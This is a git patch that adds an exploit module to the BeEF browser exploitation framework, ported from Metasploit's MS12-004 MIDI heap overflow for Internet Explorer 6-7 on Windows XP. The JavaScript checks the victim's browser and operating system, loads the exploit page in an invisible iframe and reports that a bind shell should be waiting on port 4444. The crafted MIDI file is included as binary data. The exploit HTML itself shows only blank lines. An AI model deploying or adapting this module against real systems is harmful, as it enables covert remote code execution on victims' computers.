From fe37a14adce023009e800ff68e945594f95db55f Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 30 Dec 2013 10:59:25 +1030 Subject: [PATCH] Add 'IE MS12-004 midiOutPlayNextPolyEvent Heap Overflow' exploit module from MSF --- .../local_host/ie_ms12_004_midi/command.js | 34 + .../local_host/ie_ms12_004_midi/config.yaml | 26 + .../ie_ms12_004_midi/ie_ms12_004_midi.html | 1122 +++++++++++++++++ .../ie_ms12_004_midi/ie_ms12_004_midi.mid | Bin 0 -> 75 bytes .../local_host/ie_ms12_004_midi/module.rb | 24 + 5 files changed, 1206 insertions(+) create mode 100644 modules/exploits/local_host/ie_ms12_004_midi/command.js create mode 100644 modules/exploits/local_host/ie_ms12_004_midi/config.yaml create mode 100644 modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.html create mode 100644 modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.mid create mode 100644 modules/exploits/local_host/ie_ms12_004_midi/module.rb diff --git a/modules/exploits/local_host/ie_ms12_004_midi/command.js b/modules/exploits/local_host/ie_ms12_004_midi/command.js new file mode 100644 index 000000000..01a2684fb --- /dev/null +++ b/modules/exploits/local_host/ie_ms12_004_midi/command.js @@ -0,0 +1,34 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + // check browser + if (beef.browser.isIE() != 1) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Target browser is not Internet Explorer"); + return + } + + // check OS + if (beef.os.isWindows() != 1) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Target OS is not Windows"); + return + } + + // exploit + var url = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/ie_ms12_004_midi.html'; + var timeout = 15; + var ie_ms12_004_midi_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); + ie_ms12_004_midi_iframe_<%= @command_id %>.setAttribute('src', url) + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Exploit attempted. Check for your shell on port 4444"); + + // cleanup + cleanup = function() { + document.body.removeChild(ie_ms12_004_midi_iframe_<%= @command_id %>); + } + setTimeout("cleanup()", timeout*1000); + +}); diff --git a/modules/exploits/local_host/ie_ms12_004_midi/config.yaml b/modules/exploits/local_host/ie_ms12_004_midi/config.yaml new file mode 100644 index 000000000..5f3a45e9c --- /dev/null +++ b/modules/exploits/local_host/ie_ms12_004_midi/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +### +# This module is a quick, dirty and butchered port of 'modules/exploits/windows/browser/ms12_004_midi.rb' +# from the Metasploit Framework project. Written originally by Shane Garrett, juan vazquez, and sinn3r +# See: http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/ms12_004_midi.rb +### +beef: + module: + ie_ms12_004_midi: + enable: true + category: ["Exploits", "Local Host"] + name: "IE MS12-004 midiOutPlayNextPolyEvent Heap Overflow" + description: "This module exploits a heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files. Remote code execution can be achieved by using the Windows Media Player ActiveX control.

This exploit has been ported directly from ms12_004_midi.rb from Metasploit, however it has limited target support (IE 6-7 on WinXP SP3 only) and limited payloads (bind shell on port 4444 only).

For more granular control over browser based Metasploit exploits using BeEF, refer to the Metasploit Integration for BeEF page on the wiki." + authors: ['Shane Garrett', 'juan vazquez', 'sinn3r'] + target: + working: + IE: + min_ver: 6 + max_ver: 7 + not_working: + ALL: + os: ["ALL"] diff --git a/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.html b/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.html new file mode 100644 index 000000000..9a54fbaae --- /dev/null +++ b/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.html @@ -0,0 +1,1122 @@ + + + + + + + + + + + + + + + + + + diff --git a/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.mid b/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.mid new file mode 100644 index 0000000000000000000000000000000000000000..cc90414b43a95eb2fe707ec09b8833c85dda4bff GIT binary patch literal 75 zcmeYb$w*;fU|<7cMur66kfLlL%aq|iGp|cgX>PHCf`W#VlO_YhNezab>?sU8xf~dF bRx>c{j0W;!8CnBoD%Ug2-&D--U!MU0cr6om literal 0 HcmV?d00001 diff --git a/modules/exploits/local_host/ie_ms12_004_midi/module.rb b/modules/exploits/local_host/ie_ms12_004_midi/module.rb new file mode 100644 index 000000000..d3293862c --- /dev/null +++ b/modules/exploits/local_host/ie_ms12_004_midi/module.rb @@ -0,0 +1,24 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +### +# This module is a quick, dirty and butchered port of 'modules/exploits/windows/browser/ms12_004_midi.rb' +# from the Metasploit Framework project. Written originally by Shane Garrett, juan vazquez, and sinn3r +# See: http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/ms12_004_midi.rb +### +class Ie_ms12_004_midi < BeEF::Core::Command + + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.html', '/ie_ms12_004_midi', 'html') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/local_host/ie_ms12_004_midi/ie_ms12_004_midi.mid', '/ie_ms12_004_midi', 'mid') + end + + def post_execute + save({'result' => @datastore['result']}) +# BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ie_ms12_004_midi.html') +# BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ie_ms12_004_midi.mid') + end + +end